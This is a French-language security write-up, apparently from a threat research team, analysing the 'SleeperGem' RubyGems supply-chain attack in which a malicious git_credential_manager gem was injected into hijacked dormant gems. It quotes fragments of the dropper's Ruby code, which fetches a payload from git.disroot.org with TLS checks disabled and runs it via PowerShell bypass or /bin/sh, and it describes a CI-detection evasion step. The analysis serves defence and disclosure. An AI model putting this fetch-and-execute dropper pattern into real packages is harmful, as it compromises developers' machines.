Il n'est pas fréquent de voir une attaque de la chaîne d'approvisionnement sur RubyGems. Mais avec les vacances d'été battant leur plein, nous aurions peut-être dû nous y attendre. Ce fut tout de même une surprise lorsque j'ai ouvert la file d'attente de triage ce matin et que j'ai trouvé un nouveau package suspect en attente.
Une nouvelle gem nommée git_credential_manager avait quatre versions publiées en succession rapide. À première vue, tout ce qu'elle semblait faire était de télécharger des binaires depuis un hôte que je n'avais jamais vu auparavant. Sûrement que cela ne pouvait pas être malveillant... n'est-ce pas ?
Binaires aléatoires
Le package s'est immédiatement distingué car il téléchargeait simplement des binaires depuis un dépôt Git hébergé sur https://git.disroot[.]org/git-ecosystem/.

git.disroot[.]org est une instance publique Forgejo où n'importe qui peut créer des dépôts. Quelqu'un avait astucieusement enregistré le nom d'utilisateur git-ecosystem, rendant le projet suffisamment légitime pour éviter tout soupçon immédiat.
Le dépôt ne contenait que des binaires, dont certains étaient compressés. Lorsque nous en avons soumis un à VirusTotal, les éditeurs d'antivirus l'ont rapidement signalé comme malveillant.
Où en sommes-nous si nous ne pouvons même plus faire confiance à l'« Git Ecosystem » ? /s
Pas vraiment subtil, une fois qu'on y regarde de plus près.
En analysant les quatre versions, on peut observer le mécanisme de livraison se construire en temps réel sur environ neuf heures, en deux sessions.
Version 2.8.0 était déjà un dropper entièrement fonctionnel dès le premier jour : il construisait une URL à partir de cet hôte Forgejo codé en dur, la récupérait avec la vérification des certificats explicitement désactivée, et transmettait la charge utile directement à un shell ou PowerShell :
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Désactiver la vérification SSLif goos == "windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
Process.spawn("/bin/sh \"#{full_path}\"")
end
Version 2.8.1, 24 minutes plus tard, a changé une seule chose : il a redirigé la sortie de l'exécution Unix vers /dev/null. Pas de nouvelle fonctionnalité, juste une exécution plus discrète. Quelqu'un surveillait la sortie console de son propre malware et a décidé qu'elle était trop bruyante.
Ensuite, il y a un écart de huit heures, probablement pour le sommeil, avant que la version 2.8.2 apparaisse le lendemain matin avec l'escalade réelle : l'installeur est directement intégré au chemin de chargement du gem, de sorte que le simple fait de require-ing git_credential_manager (sans installer de binaire, sans exécuter quoi que ce soit explicitement, juste en chargeant la bibliothèque) suffit à déclencher tout le processus. Et dans cette même version, la ligne qui déclenche le script téléchargé est commentée. Dix-sept minutes plus tard, la version 2.8.3 la décommente. Un seul caractère, fonctionnellement, et le dropper passe de l'état de préparation à l'état actif.
Il existe également une vérification skip_install? qui scanne environ 30 variables d'environnement appartenant aux plateformes CI, GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins, Vercel, et ne fait rien si elle en détecte une. Ceci a été conçu pour éviter délibérément les serveurs de build. Il cible les ordinateurs portables des développeurs, et non les runners CI jetables.
Autres paquets compromis
Ensuite, j'ai examiné le compte de l'éditeur et j'ai remarqué qu'ils maintenaient plusieurs autres gems. Certains n'avaient pas été mis à jour depuis 2019, tandis que d'autres avaient soudainement reçu de nouvelles versions hier et aujourd'hui.
Le plus notable était Dendreo, publié pour la première fois en 2017. À peu près au même moment que git_credential_manager, deux nouvelles versions sont apparues. Sans surprise, l'attaquant avait ajouté git_credential_manager comme dépendance, permettant à la charge utile malveillante de se propager aux utilisateurs existants.

Plus préoccupant encore, l'attaquant a également publié une nouvelle version de fastlane-plugin-run_tests_firebase_testlab, un projet totalement indépendant avec 574 661 téléchargements au total. Contrairement aux autres gems compromis, celui-ci appartenait à un mainteneur entièrement différent, suggérant que la compromission s'étendait au-delà d'un seul compte.

La véritable leçon à tirer
Nous avons couvert de nombreux incidents npm et PyPI similaires à celui-ci. RubyGems est resté en grande partie à l'écart de cette tendance, et nous n'avons pas trouvé de cas antérieur de deux comptes de mainteneurs sans lien, longtemps inactifs, réactivés à quelques heures d'intervalle pour injecter la même dépendance dans des gems auxquels les gens faisaient déjà confiance. Autant que nous puissions en juger, c'est la première fois que RubyGems fait réellement l'expérience de ce à quoi npm et PyPI sont confrontés depuis plus d'un an.
Un compte RubyGems inactif depuis six ou sept ans ne semble risqué pour personne. C'est précisément le profil qui mérite d'être compromis. C'est de là que vient le nom SleeperGem : il ne s'agit pas d'un actif d'attaquant implanté sur le long terme, mais d'un compte réel et ordinaire qui était simplement devenu dormant et semblait suffisamment inoffensif pour être détourné sans que personne ne s'en aperçoive.
Deux comptes compromis jusqu'à présent, sur un registre qui avait majoritairement évité ce type d'incident. Espérons que cela ne devienne pas une tendance.

